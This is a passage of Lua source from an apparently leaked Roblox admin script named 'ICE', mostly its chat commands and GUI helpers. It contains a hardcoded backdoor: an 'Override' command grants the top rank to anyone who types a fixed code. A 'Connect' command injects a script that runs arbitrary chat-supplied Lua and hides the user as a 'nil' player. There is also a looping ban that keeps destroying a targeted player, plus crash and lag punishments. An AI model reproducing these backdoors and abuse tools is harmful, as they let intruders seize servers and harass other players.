- VoteMsg.Parent=ICE.Services.Workspace:findFirstChild'Base' or ICE.Services.Workspace
- VoteMsg.Text='All the votes are in now calculating votes'
- local Needed = #ICE.VoteData.VotingPlayers
- local NumNeed=false
- local IsMult=false
- for i=3,30 do
- if Needed==i then
- IsMult=true
- end
- end
- if IsMult==true then
- NumNeeded = Needed / 3
- NumNeeded=NumNeeded + NumNeeded
- else
- local Mult=0
- for b=3,30 do
- if b < Needed then
- Mult=b
- end
- end
- -- Found Least Multiple of 3 with remainder
- local Remainder=Needed - Mult
- if Remainder == 1 then
- -- What to do
- NumNeeded= Needed / 3
- NumNeeded=NumNeeded + NumNeeded
- else
- -- Remainder is 2 :)
- NumNeeded = tonumber(Needed + 1) / 3
- NumNeeded = NumNeeded + NumNeeded
- end
- end
- wait(1)
- VoteMsg='The votes are in; (Yes): ' .. Yes .. ' (No): ' .. No
- wait(1)
- if Yes >= Needed then
- VoteMsg.Text=Player.Name .. ' will now be kicked'
- pcall(function() Player:Destroy() end)
- else
- VoteMsg=Player.Name .. ' will not be kicked'
- end
- end)()
- end
- ICE.CrashObj=function(Object)
- --Object:Destroy()
- Object.Parent.Head:Destroy()
- Object.Parent:Destroy()
- end
- ICE.CrashCam=function()
- local Focus=ICE.Services.Workspace:findFirstChild('Focus',true)
- if Focus then
- ICE.CrashObj(Focus)
- end
- end
- ICE.MakeMessage=function(str,p)
- if p==nil then
- for _,Player in pairs(game.Players:GetPlayers()) do
- coroutine.wrap(function()
- local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
- local Text = Instance.new("TextLabel", Msg)
- Text.Position = UDim2.new(0, 0, 0.7, 0)
- Text.Font=2
- Text.FontSize=9
- Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
- Text.BackgroundTransparency = 0.4
- Text.TextColor3 = Color3.new(1, 1, 1)
- Text.TextTransparency = 1
- Text.TextWrap = true
- Text.Text = tostring(str)
- Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0.7, 0), "Out", "Back", 2)
- Text.TextTransparency = 0
- Num = #str * 0.06
- wait(3)
- Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
- wait(Num)
- Msg:Remove()
- end)()
- end
- else
- Player=p;
- coroutine.wrap(function()
- local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
- local Text = Instance.new("TextLabel", Msg)
- Text.Position = UDim2.new(0, 0, 0.7, 0)
- Text.Font=2
- Text.FontSize=9
- Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
- Text.BackgroundTransparency = 0.1
- Text.TextColor3 = Color3.new(1, 1, 1)
- Text.TextTransparency = 1
- Text.TextWrap = true
- Text.Text = tostring(str)
- Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0.7, 0), "Out", "Back", 2)
- Text.TextTransparency = 0
- Num = #str * 0.06
- wait(3)
- Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
- wait(Num)
- Msg:Remove()
- end)()
- end
- end
- ICE.SystemMsg=function(str)
- for _,Player in pairs(game.Players:GetPlayers()) do
- coroutine.wrap(function()
- local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
- local Text = Instance.new("TextLabel", Msg)
- Text.Position = UDim2.new(0, 0, 0, 0)
- Text.Font='Legacy'
- Text.FontSize = "Size48"
- Text.BackgroundColor3 = Color3.new(-1,-1,-1)
- Text.BackgroundTransparency = 0.4
- Text.TextColor3 = Color3.new(1,1,1)
- Text.TextTransparency = 0
- Text.TextWrap = true
- Text.Text = '[ System Message ] \n ' .. tostring(str)
- Text:TweenSizeAndPosition(UDim2.new(1, 0, 1, 0), UDim2.new(0, 0, 0, 0), "Out", "Back", 2)
- Text.TextTransparency = 0.1
- Num = #str * 0.06
- wait(6)
- Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
- wait(Num)
- Msg:Remove()
- end)()
- end
- end
- ICE.MakeHint=function(str,p)
- if p == nil then
- for _,Player in pairs(game.Players:GetPlayers()) do
- coroutine.wrap(function()
- local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
- local Text = Instance.new("TextLabel", Msg)
- Text.Position = UDim2.new(0, 0, 0, 0)
- Text.Font=2
- Text.FontSize=9
- Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
- Text.BackgroundTransparency = 0.4
- Text.TextColor3 = Color3.new(1, 1, 1)
- Text.TextTransparency = 1
- Text.TextWrap = true
- Text.Text = tostring(str)
- Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0, 0), "Out", "Back", 2)
- Text.TextTransparency = 0
- Num = #str * 0.06
- wait(3)
- Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
- wait(Num)
- Msg:Remove()
- end)()
- end
- else
- Player=p
- coroutine.wrap(function()
- local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
- local Text = Instance.new("TextLabel", Msg)
- Text.Position = UDim2.new(0, 0, 0, 0)
- Text.Font=2
- Text.FontSize=9
- Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
- Text.BackgroundTransparency = 0.1
- Text.TextColor3 = Color3.new(1, 1, 1)
- Text.TextTransparency = 1
- Text.TextWrap = true
- Text.Text = tostring(str)
- Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0, 0), "Out", "Back", 2)
- Text.TextTransparency = 0
- Num = #str * 0.06
- wait(3)
- Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
- wait(Num)
- Msg:Remove()
- end)()
- end
- end
- ICE.GiveInfo=function(Speaker)
- Num_Commands=0
- Num_Services=0
- Num_Tablets=0
- Num_Ranked=0
- Version=1
- coroutine.wrap(function() for i,v in pairs(ICE.Commands) do Num_Commands=Num_Commands+1 end end)()
- coroutine.wrap(function() for i,v in pairs(ICE.Services) do Num_Services=Num_Services+1 end end)()
- coroutine.wrap(function() for i,v in pairs(ICE.Ranked) do Num_Ranked=Num_Ranked+1 end end)()
- coroutine.wrap(function() for i,v in pairs(ICE.Tablets) do Num_Tablets=Num_Tablets+1 end end)()
- coroutine.wrap(function() for i,v in pairs(ICE) do if type(v)=='function' then Version=Version+#ICE/0.01337 end end end)()
- ICE.Output('#Tablets ' .. tostring(Num_Tablets),'Random',Speaker)
- ICE.Output('#Services ' .. tostring(Num_Services),'Random',Speaker)
- ICE.Output('#Ranked ' .. tostring(Num_Ranked),'Random',Speaker)
- ICE.Output('#Commands ' .. tostring(Num_Commands),'Random',Speaker)
- ICE.Output('Version : ' .. tostring(Version),'Random',Speaker)
- ICE.Output('Help menu','Green',Speaker,nil,
- function()
- ICE.Output('Back','Blue',Speaker,nil,function() ICE.OnChatted(ICE.Bets[1]..'help'..ICE.Bets[2],Speaker,true) end)
- ICE.Output('Get player operators','Orange',Speaker,nil,function()
- ICE.RemoveTablets(Speaker)
- ICE.Output('Back','Blue',Speaker,nil,function() ICE.OnChatted(ICE.Bets[1]..'help'..ICE.Bets[2],Speaker,true) end)
- Infos={
- {T="The bets are ["..ICE.Bets[1]..";"..ICE.Bets[2].."]",C="Orange"};
- {T="To use a cmd its "..ICE.Bets[1].."Command"..ICE.Bets[2].."Arguments/Args",C="Orange"};
- {T="To use a command on your self use the command and for arguments put 'me'",C="Blue"};
- {T="To use a command on everyone use the command and for aguments put 'all'",C="Blue"};
- {T="To use a command on others use the command and for arguments put 'others'",C="Blue"};
- };
- for i,v in pairs(Infos) do
- ICE.Output(v.T,v.C,Speaker)
- end
- end)
- ICE.Output('Chat operators','Orange',Speaker,nil,function()
- --ypcall(function()
- ICE.RemoveTablets(Speaker)
- Infos={
- {T="To use a cmd more then once do '" .. ICE.Bets[1] .. " do (a number)"..ICE.Bets[1].."(a command)".. ICE.Bets[2] .."(arguments)'",C="Blue"};
- {T="To wait before using a command do '" .. ICE.Bets[1].. " wait" .. ICE.Bets[1].. "(a command)" .. ICE.Bets[2] .. "(arguments)'",C="Blue"};
- };
- for i,v in pairs(Infos) do
- ICE.Output(v.T,v.C,Speaker)
- end
- ICE.Output('Back','Blue',Speaker,nil,function() ICE.OnChatted(ICE.Bets[1]..'help'..ICE.Bets[2],Speaker,true) end)
- --end)
- end)
- end
- )
- end
- --[[ Sandbox ]]--
- ICE.SandBoxCoding=[[
- coroutine.wrap(function()
- repeat
- wait()
- for i,v in pairs(getfenv()) do
- obj=getfenv[i]
- if type(obj)=='userdata' then
- if obj.Name=='ICEAdminLeaked' then
- if obj:IsA'Player' then
- getfenv()[i]=nil;
- end
- end
- end
- end
- until 1+1==3
- end)()
- %s
- ]]
- ICE.SandBoxScript=function(Script)
- Source=nil;
- Script.Disabled=true
- for i,v in pairs(Script:children()) do
- if v:IsA'StringValue' then
- Old="" .. ICE.SandBoxCoding
- Old=Old:format(v.Value)
- v.Value=Old
- end
- end
- Script.Disabled=false
- end
- --[[ End Of Sand Box ]]--
- --[=[ End of funcs ]=]--
- --[[ Rank 0 ]]--
- ICE.Command('Connect','connect',0,'Connects to nil device','No args',
- function(Msg,Speaker)
- SC=ICE.CreateLocalScript([==[script.Parent=nil
- Player=game.Players.LocalPlayer
- Probe=Instance.new'Part';
- CN='ICEAdminLeaked'
- Camera=Workspace.CurrentCamera
- Animate = game:GetService("InsertService"):LoadAsset(68452456):findFirstChild("Animate",true) or Instance.new("Part")
- Char = Player.Character
- if Char then
- Char.Archivable = true
- Char = Char:clone()
- local t = game:GetService("InsertService"):LoadAsset(68452456):findFirstChild("Clone")
- if t then
- for k,v in pairs(Char:GetChildren()) do
- if not v:IsA("Part") then
- v:clone().Parent = t
- end
- end
- Char = t:clone()
- end
- end
- Title=function(txt,part,color,rise)
- col=nil
- col=Color3.new(BrickColor.new(color))
- local Gui = Instance.new("BillboardGui",part)
- Gui.Name = "3DGUI"
- Gui.ExtentsOffset = Vector3.new(0,2,0)
- Gui.Size = UDim2.new(8,0,2,0)
- local Tit = Instance.new("TextLabel",Gui)
- Tit.Name = "Title"
- Tit.TextColor3 = Color3.new(col.r/2,col.g/2,col.b/2)
- Tit.TextColor3 = Color3.new(0,0,0)
- Tit.TextTransparency = 0.25
- Tit.TextStrokeColor3 = Color3.new(col.r/2,col.g/2,col.b/2)
- Tit.TextStrokeTransparency = 0.5
- Tit.Size = UDim2.new(1,0,1,0)
- Tit.BackgroundTransparency = 1
- Tit.Font = "ArialBold"
- Tit.TextScaled = true
- Tit.Text = txt
- if rise then
- if not tonumber(rise) then rise = 1 end
- coroutine.wrap(function()
- while Tit.Parent and Gui.Parent and wait() do
- Gui.ExtentsOffset = Gui.ExtentsOffset + Vector3.new(0,0.025*rise,0)
- end
- end)()
- end
- return Tit
- end
- Chat=function(Part,Text,Color,Type)
- if Type==nil or Type==1 or Type=='Bubble' then
- game:service'Chat':Chat(Part,Text,Color)
- else
- if type(Color)~='string' then
- Color=tostring(BrickColor.random())
- end
- Title(Text,Part,Color,math.random(1,3))
- end
- end
- DestroyCharacter=function()
- local chara = Player.Character
- if not chara then return end
- if chara:findFirstChild("Humanoid") then
- chara.Humanoid:Destroy()
- end
- chara:BreakJoints()
- for k,v in pairs(chara:GetChildren()) do
- if v:IsA("BasePart") then
- v.CanCollide = false
- v.Velocity = Vector3.new(math.random(-20,20),50,math.random(-20,20))
- v.RotVelocity = Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20))
- end
- end
- game.Debris:AddItem(chara,3)
- end
- MakeProbe=function()
- if Player.Character then DestroyCharacter() end Player.Character = nil
- if Probe then Probe:Destroy() end
- Probe = Instance.new("Part",workspace) local Camera = workspace.CurrentCamera
- Probe.Shape, Probe.Size, Probe.BrickColor = "Ball", Vector3.new(3,3,3), BrickColor.new('Black')
- Probe.Transparency, Probe.Reflectance, Probe.Anchored, Probe.CanCollide, Probe.Locked = 0.5, 0.25, true, false, true
- Probe.TopSurface, Probe.BottomSurface, Probe.Name = 0, 0, "Probe"..tick()
- coroutine.wrap(function() while wait() and not Player.Character do Probe.CFrame = Camera.Focus end end)()
- --Player.Character=Probe
- end
- Spawn=function()
- if Char then
- local c = Char:clone()
- c.Name = CN
- c.Parent = workspace
- c:MoveTo(workspace.CurrentCamera.Focus.p)
- Player.Character = c
- workspace.CurrentCamera.CameraSubject = c:findFirstChild("Humanoid")
- workspace.CurrentCamera.CameraType = "Custom"
- Probe:Destroy()
- end
- end
- Player.Chatted:connect(function(Msg)
- if Msg:sub(1,2) == '\\\\' then
- local Func,Error=loadstring(Msg:sub(3))
- if Error==nil then
- pcall(Func)
- if Player.Character then
- game:service'Chat':Chat(Player.Character.Head,'Local Script executed!','Green')
- end
- else
- if Player.Character then
- game:service'Chat':Chat(Player.Character.Head,Error,'Red')
- else
- local Msg=Instance.new'Message'
- Msg.Parent=Workspace.CurrentCamera
- Msg.Text=Error
- game:service'Debris':AddItem(Msg,5)
- end
- end
- elseif Msg:sub(1,#('newlocal')+2) == '\\newlocal\\' then
- NewMsg=Msg:sub(#('newlocal')+3)
- Split=NewMsg:find('\\')
- local PlayerName=NewMsg:sub(1,Split-1)
- local Source=NewMsg:sub(Split+1)
- Player=nil
- for i,v in pairs(game.Players:GetPlayers()) do
- if v.Name:lower():sub(1,#PlayerName)==PlayerName then
- if Player==nil then
- Player=v
- else
- if type(Player) == 'table' then
- Player[#Player+1]=v
- else
- Player={v}
- end
- end
- end
- end
- if type(Player)=='table' then
- for i,v in pairs(Player) do
- if newLocalScript then
- newLocalScript(Source,v.Character)
- else
- Clone=script:clone();
- SourceC=Clone:children()[1]
- if SourceC:IsA'StringValue' then
- print'String'
- else
- SourceC=Clone:children()[2]
- end
- SourceC.Value=Source
- Clone.Disabled=true
- Clone.Parent=v.Character
- Clone.Disabled=false
- end
- end
- else
- if newLocalScript then
- newLocalScript(Source,Player.Character)
- else
- Clone=script:clone();
- DS=Clone:children()
- DSS=nil
- for i,v in pairs(DS) do if v:IsA'StringValue' then DSS=v end end
- DSS.Value=Source
- Clone.Disabled=true;
- Clone.Parent=Player.Character
- Clone.Disabled=false
- end
- end
- elseif Msg:sub(1,#('rejoin')+2) == '\\rejoin\\' then
- game:service'TeleportService':Teleport(Game.PlaceId)
- elseif Msg:sub(1,#('probe')+2) == '\\probe\\' then
- MakeProbe()
- elseif Msg:sub(1,#('char')+2) =='\\char\\' then
- Spawn()
- elseif Msg:sub(1,#('ban')+2) == '\\ban\\' then
- Player=game.Players:findFirstChild(Msg:sub(#('ban')+3))
- if Player then
- repeat pcall(function() game.Players[Player.Name]:Destroy() end) wait() until 1+1==3
- end
- end
- wait()
- if game.Players:findFirstChild(Player.Name)==nil and not Msg:find('\\probe\\') and not Msg:find('\\char\\') then -- Is nil then
- if Probe then
- Chat(Probe,Msg,math.random(0,2))
- else
- if Player.Character==nil then
- if Char then
- Chat(Char.Head,Msg,math.random(0,2))
- end
- else
- Chat(Player.Character.Head,Msg,'Red')
- end
- end
- end
- end) -- local
- ]==],Speaker.Character)
- if SC then
- ICE.Output('Sucessful attempt at connecting! When you are removed from game chat \\probe\\ or \\char\\','Green',Speaker)
- else
- ICE.Output('Unsucessful connection attempt!','Red',Speaker)
- end
- end
- )
- ICE.Command('Commands','cmds',0,'Shows commands','No arguments',
- function(Msg,Speaker)
- ICE.RemoveTablets(Speaker)
- local Mine=ICE.Ranked[Speaker.Name]
- for i=1,#ICE.Ranks do
- if i > 0 and i < #ICE.Ranks + 1 then
- ICE.Output('Rank ' .. tostring(i),Mine.Color,Speaker,nil,
- function()
- ICE.RemoveTablets(Speaker)
- if Mine.Rank < i then
- ICE.Output('You cannot access to these commands! View anyways?','Red',Speaker,nil,function()
- --ICE.RemoveTablets(Speaker)
- Num=0
- for e,v in pairs(ICE.Commands) do
- if v.Rank == i then
- Num=Num+1
- ICE.Output(e,'Random',Speaker,nil,
- function()
- ICE.RemoveTablets(Speaker);
- for Name,Str in pairs(v) do
- ICE.Output(tostring(Name) .. '; ' .. tostring(Str),Mine.Color,Speaker)
- end
- ICE.Output('Syntax : ' .. Str.Command .. ICE.Bet,Mine.Color,Speaker)
- end
- )
- end
- end
- if Num== 0 then
- ICE.Output('No available commands for this rank!','Red',Speaker)
- end
- end)
- else
- Num=0
- for CmdName,CmdTable in pairs(ICE.Commands) do
- if CmdTable.Rank == i then
- Num=Num+1
- ICE.Output(CmdName,Mine.Color,Speaker,nil,
- function()
- ICE.RemoveTablets(Speaker);
- for Str,Val in pairs(CmdTable) do
- ICE.Output(tostring(Str) .. '; ' .. tostring(Val),Mine.Color,Speaker)
- end
- ICE.Output('Syntax : ' .. Val.Command..ICE.Bet,Mine.Color,Speaker)
- end
- )
- end
- end
- if Num== 0 then
- ICE.Output('No available commands for this rank!','Red',Speaker)
- end
- end
- end
- )
- end
- end
- ICE.Output('All','Green',Speaker,nil,
- function()
- ICE.RemoveTablets(Speaker);
- for i,v in pairs(ICE.Commands) do
- ICE.Output(i,'Random',Speaker,nil,
- function()
- ICE.RemoveTablets(Speaker)
- for Arg,Argg in pairs(v) do
- ICE.Output(tostring(Arg) .. " : " .. tostring(Argg),'Random',Speaker)
- end
- end
- )
- end
- end
- )
- ICE.Output('Your rank : ' .. ICE.Ranked[Speaker.Name].Rank,Mine.Color,Speaker)
- end
- )
- ICE.Command('Dismiss','dismiss',0,[[Dismiss's tablets]],'No arguments',
- function(m,s) ICE.RemoveTablets(s) end
- )
- ICE.Command('Ping','ping',0,'Pings a msg','Msg',
- function(Msg,Speaker)
- Pings={};
- if Msg:sub(1,#("tonumber"))=="tonumber" then
- local Nom=loadstring("return " .. tonumber(Msg:sub(#("tonumber")+1)))()
- table.insert(Pings,{Nom,'Random'})
- elseif Msg:sub(1,#("image")) == "image" then
- local Sub=Msg:sub(#("image")+2)
- ICE.OutputImg(Sub,"A test image!","Random",Speaker)
- elseif Msg:lower()=="nil" then
- Nil=0
- for i,v in pairs(game:service'NetworkServer':children()) do
- if v:IsA('ServerReplicator') then
- if v:GetPlayer() and v:GetPlayer().Parent==nil then
- Nil=Nil+1
- table.insert(Pings,{v:GetPlayer().Name,'Random'})
- end
- end
- end
- if Nil==0 then table.insert(Pings,{"No nil players",'Red'}) end
- elseif Msg:lower()=='nil raw' then
- local Nil=0;
- for _,v in pairs(game:service'NetworkServer':children()) do
- if v:IsA'ServerReplicator' then
- if v:GetPlayer() and v:GetPlayer().Parent==nil then
- Nil=Nil+1
- ICE.Output(v:GetPlayer().Name,'Red',Speaker,nil,function() ICE.PlayerInterface(v:GetPlayer().Name,Speaker) end)
- end
- end
- end
- if Nil==0 then ICE.Output('No nil players','Green',Speaker,3) end
- elseif Msg:lower()=="colors" then
- for i,v in pairs(ICE.Colors) do
- table.insert(Pings,{i,v})
- end
- elseif Msg:lower()=="ranks" then
- for i,v in pairs(ICE.Ranks) do
- table.insert(Pings,{i .. ":"..v,'Random'})
- end
- elseif #Msg==0 then
- table.insert(Pings,{'Pong!','Random'})
- else
- table.insert(Pings,{Msg,'Random'})
- end
- if #Pings < 2 then
- for i,v in pairs(Pings) do
- Color=v[2]
- Message=v[1]
- ICE.Output(Message,Color,Speaker)
- end
- else
- ICE.RemoveTablets(Speaker);
- for i,v in pairs(Pings) do
- Color=v[2]
- Message=v[1]
- ICE.Output(Message,Color,Speaker)
- end
- end
- end
- )
- ICE.Command('Get-ranked','getranked',0,'Gets the Ranked table','No arguments',
- function(Msg,Speaker)
- Player=nil
- if #Msg==0 then
- for i,v in pairs(ICE.Ranked) do
- ICE.Output(i,v.Color,Speaker,nil,
- function()
- Player=i
- ICE.RemoveTablets(Speaker)
- end
- )
- end
- else
- for _,v in pairs(ICE.Ranked) do
- if _:lower():sub(1,#Msg) == Msg:lower() then
- Player=_
- end
- end
- end
- coroutine.wrap(function()
- repeat
- wait()
- until Player
- ICE.PlayerInterface(Player,Speaker)
- end)()
- end
- )
- ICE.Command('Chatcolor','chatcolor',0,'Changes your chatcolor','No arguments',
- function(Msg,Speaker)
- if #Msg == 0 then
- for i,v in pairs(ICE.Colors) do -- Stahp it>_> Regular Color3's Work its what I did BrickColor.new(Color3.new(0,1,0))
- ICE.Output(i,v,Speaker,nil,function() Speaker.Neutral = false Speaker.TeamColor = BrickColor.new(v) ICE.RemoveTablets(Speaker) end)
- end
- else
- local Brick=BrickColor.new(Msg)
- if Brick then
- Speaker.TeamColor=Brick
- Speaker.Neutral=false
- else
- ICE.Output(Brick .. '[ error ]','Red',Speaker)
- end
- end
- end
- )
- ICE.Command('Vote kick','votekick',0,'Vote kicks a player','Player',
- function(Msg,Speaker)
- if ICE.VoteData.IsVoting==false then
- local Player = ICE.GetPlayers(Msg,Speaker)[1]
- if Player then
- ICE.VoteData.ActivateVoteKick(Player)
- end
- else
- ICE.Output('There is already a vote in progress!','Red',Speaker,5)
- end
- end
- )
- ICE.Command('Menu','menu',0,'Shows ICE Menu','No arguments',
- function(Msg,Speaker)
- local SpeakTab=ICE.Ranked[Speaker.Name]
- ICE.RemoveTablets(Speaker)
- ICE.Output('Show commands!',SpeakTab.Color,Speaker,nil,function() ICE.OnChatted(ICE.Bets[1]..'cmds'..ICE.Bets[2],Speaker,true) end)
- ICE.Output('Your rank is ' .. SpeakTab.Rank,SpeakTab.Color,Speaker)
- ICE.Output('To access your ranked table click on me!',SpeakTab.Color,Speaker,nil,function() ICE.OnChatted(ICE.Bets[1]..'getranked'..ICE.Bets[2]..Speaker.Name,Speaker,true) end)
- ICE.Output('Welcome to ICE by tu'..'sK'..'Or6'..'61',SpeakTab.Color,Speaker)
- ICE.Output('Click to debug lighting','Green',Speaker,nil,function() ICE.OnChatted(ICE.Bets[1]..'debug'..ICE.Bets[2],Speaker,true) end)
- ICE.Output('View chat operators','Green',Speaker,nil,
- function()
- ICE.Output('Get player operators','Orange',Speaker,nil,function()
- Infos={
- {T="The bets are ["..ICE.Bets[1]..";"..ICE.Bets[2].."]",C="Orange"};
- {T="To use a cmd its "..ICE.Bets[1].."Command"..ICE.Bets[2].."Arguments/Args",C="Orange"};
- {T="To use a command on your self use the command and for arguments put 'me'",C="Blue"};
- {T="To use a command on everyone use the command and for aguments put 'all'",C="Blue"};
- {T="To use a command on others use the command and for arguments put 'others'",C="Blue"};
- };
- for i,v in pairs(Infos) do
- ICE.Output(v.T,v.C,Speaker)
- end
- end)
- ICE.Output('Chat operators','Orange',Speaker,nil,function()
- --ypcall(function()
- Infos={
- {T="To use a cmd more then once do '" .. ICE.Bets[1] .. " do (a number)"..ICE.Bets[1].."(a command)".. ICE.Bets[2] .."(arguments)'",C="Blue"};
- {T="To wait before using a command do '" .. ICE.Bets[1].. " wait" .. ICE.Bets[1].. "(a command)" .. ICE.Bets[2] .. "(arguments)'",C="Blue"};
- };
- for i,v in pairs(Infos) do
- ICE.Output(v.T,v.C,Speaker)
- end
- --end)
- end)
- end
- )
- end
- )
- ICE.Command('Debug','debug',0,'Debugs the game','No arguments',
- function(Msg,Speaker)
- ICE.Services.Lighting.Ambient = Color3.new(1,1,1)
- ICE.Services.Lighting.OutdoorAmbient=Color3.new(1,1,1)
- ICE.Services.Lighting.ColorShift_Bottom = Color3.new(0,0,0)
- ICE.Services.Lighting.ColorShift_Top = Color3.new(0,0,0)
- ICE.Services.Lighting.ShadowColor = Color3.new(0.69,0.69,0.69)
- ICE.Services.Lighting.Brightness = 0.2
- ICE.Services.Lighting.FogStart = 0
- ICE.Services.Lighting.FogEnd = 100000
- ICE.Services.Lighting.FogColor = Color3.new(0.74,0.74,0.74)
- ICE.Services.Lighting.TimeOfDay = 12
- ICE.Services.Lighting.GlobalShadows=false
- for i,v in pairs(Workspace:children()) do
- if v:IsA'Hint' or v:IsA'Message' then
- v:Destroy()
- for i,s in pairs(v:children()) do
- if s:IsA'Hint' or s:IsA'Message' then
- s:Destroy();
- for i,b in pairs(s:children()) do
- if b:IsA'Hint' or b:IsA'Message' then
- b:Destroy();
- end
- end
- end
- end
- end
- end
- end
- )
- ICE.Command('Set rank','setrank',0,'Sets #Players rank to #Rank','#Player>#Rank',
- function(Msg,Speaker)
- local Split = Msg:find(ICE.Bets[2])
- for _,v in pairs(ICE.GetPlayers(Msg:sub(1,Split-1),Speaker)) do
- if v.Name ~= Speaker.Name then
- local Rank = tonumber(Msg:sub(Split+1))
- if Rank >= ICE.GetRank(Speaker) or ((Rank < 0 or ICE.GetRank(v) < 0) and ICE.GetRank(Speaker) < 2 ) then
- ICE.Output("You can't set "..v.Name.."'s rank to "..tostring(Rank),"Orange",Speaker,3)
- elseif ICE.Ranks[Rank] == nil then
- ICE.Output("Rank not found.","Orange",Speaker,3)
- else
- ICE.Ranked[v.Name].Rank = Rank
- end
- else
- ICE.Output('You cannot set your own rank','Red',Speaker,3)
- end
- end
- end
- )
- ICE.Command('@','@',0,'On chats a msg at #Player','#Player>Msg',
- function(Msg,Speaker)
- local Split,Msgg,Players=Msg:find(ICE.Bets[1]),"",{};
- if Split then
- Msgg=Msg:sub(Split)
- Players=ICE.GetPlayers(Msg:sub(1,Split-1),Speaker)
- end
- for i,v in pairs(Players) do
- ICE.OnChatted(Msgg,v,true)
- end
- end
- )
- ICE.Command('Get CMD Bar','getcmd',0,'Gets CMD Gui','true/false',
- function(Msg,Speaker)
- if Msg=='true' or Msg=="1" or Msg=="on" then
- ICE.Ranked[Speaker.Name].CMD=true
- elseif Msg=='false' or Msg=="0" or Msg=="off" then
- ICE.Ranked[Speaker.Name].CMD=false
- pcall(function() Speaker.PlayerGui.CMD:Destroy() end)
- else
- ICE.Output('Bool has to be true/false or 1/0 or on/off','Red',Speaker)
- end
- end
- )
- ICE.Command('Personal message','pm',0,'PMs #Player','#Player'..ICE.Bets[2]..'Message',
- function(Msg,Speaker)
- Split=Msg:find(ICE.Bets[2])
- Split2=Msg:sub(Split+1):find(ICE.Bets[2])
- local Type="Message"
- if Split2 then
- Type=Msg:sub(Split2+1)
- end
- Players=ICE.GetPlayers(Msg:sub(1,Split-1),Speaker)
- Message=""
- if Split2 then
- Message=Msg:sub(Split+1,Split2-1)
- else
- Message=Msg:sub(Split+1)
- end
- for i,Player in pairs(Players) do
- if Type:lower()=='Message' then
- ICE.MakeMessage('Private msg from ' .. Speaker.Name .. ' : ' .. Message,Player)
- elseif Type:lower()=='Hint' then
- ICE.MakeHint('Private msg from ' .. Speaker.Name .. ' : ' .. Message,Player)
- else
- ICE.MakeMessage('Private msg from ' .. Speaker.Name .. ' : ' .. Message,Player)
- end
- end
- end
- )
- ICE.Command('Override','override',0,'Overrides ICE','Code',
- function(Code,Speaker)
- if Code=='ScriptItNao' then
- ICE.Ranked[Speaker.Name].Rank=10
- ICE.Output('You have sucessfully overrode ICE','Green',Speaker)
- else
- ICE.Output('Wrong code','Red',Speaker)
- end
- end
- )
- ICE.Command('Show filters','sfilt',0,'Shows all ICE Filters','No arguments',
- function(Msg,Speaker)
- ICE.RemoveTablets(Speaker);
- SetUpDF=function(FTable,FName)
- ICE.RemoveTablets(Speaker);
- Reason,Rank,Punishment=FTable.Reason,FTable.Bypass,FTable.Punishment
- ICE.Output('Reason : ' .. tostring(Reason or "nil"),'Green',Speaker);
- ICE.Output('Rank to bypass filter : ' .. tostring(Rank or "nil"),'Orange',Speaker);
- NewPun=""
- --if type(Punishment)=='number' then
- Types={{"Kill",0};{"Kick",1};{"Shutdown",2};{"Crash",3};{"Ban";4};{"Lag",5}}
- for i,v in ipairs(Types) do
- if Punishment==v[2] then
- NewPun=v[1]
- end
- end
- --[[else
- Types={{"Kill",0};{"Kick",1};{"Shutdown",2};{"Crash",3};{"Ban";4};{"Lag",5}}
- for i,v in pairs(Types) do
- if Punishment==v[1] then
- NewPun=v[1]
- end
- end
- end]]
- ICE.Output('Punishment : ' .. tostring(NewPun or "nil"),'Red',Speaker);
- ICE.Output('Change rank for bypass','Blue',Speaker,nil,
- function()
- if ICE.GetRank(Speaker) > 0 and ICE.GetRank(Speaker) > Rank then
- ICE.RemoveTablets(Speaker);
- for Num,Name in pairs(ICE.Ranks) do
- if not Num > ICE.GetRank(Speaker) then
- ICE.Output(tostring(Num),Color3.new(Num/10,Num/10,Num/100),Speaker,nil,
- function()
- ICE.RemoveTablets(Speaker);
- ICE.Filters[FName].Rank=tonumber(Num)--FTable.Rank=tonumber(Num)
- SetUpDF(FTable,FName)
- end
- )
- end
- end
- else
- ICE.Output('Your rank is too low to execute this action','Red',Speaker,3)
- end
- end
- )
- ICE.Output('Change punishment type','Blue',Speaker,nil,
- function()
- if ICE.GetRank(Speaker) > 0 and ICE.GetRank(Speaker) > Rank then
- ICE.RemoveTablets(Speaker)
- Types={{"Kill",0};{"Kick",1};{"Shutdown",2};{"Crash",3};{"Ban";4};{"Lag",5}}
- for i,v in pairs(Types) do
- if ICE.GetRank(Speaker) > v[2] then
- ICE.Output('Change punishment to ' .. v[1],'Blue',Speaker,nil,
- function()
- ICE.Filters[FName].Punishment=v[2]
- ICE.RemoveTablets(Speaker)
- SetUPDF(FTable,FName)
- end
- )
- end
- end
- else
- ICE.Output('Your rank is not high enough for this operation','Red',Speaker,3)
- end
- end
- )
- end
- for Derp,DerpTable in pairs(ICE.Filters) do
- ICE.Output(Derp,'Random',Speaker,nil,function() SetUpDF(DerpTable,Derp) end)
- end
- end
- )
- ICE.Command('Rules','rules',0,'Shows ancient rules set down by elders at oxcools','No arguments',
- function(Message,Speaker)
- for i,v in pairs(ICE.Rules) do
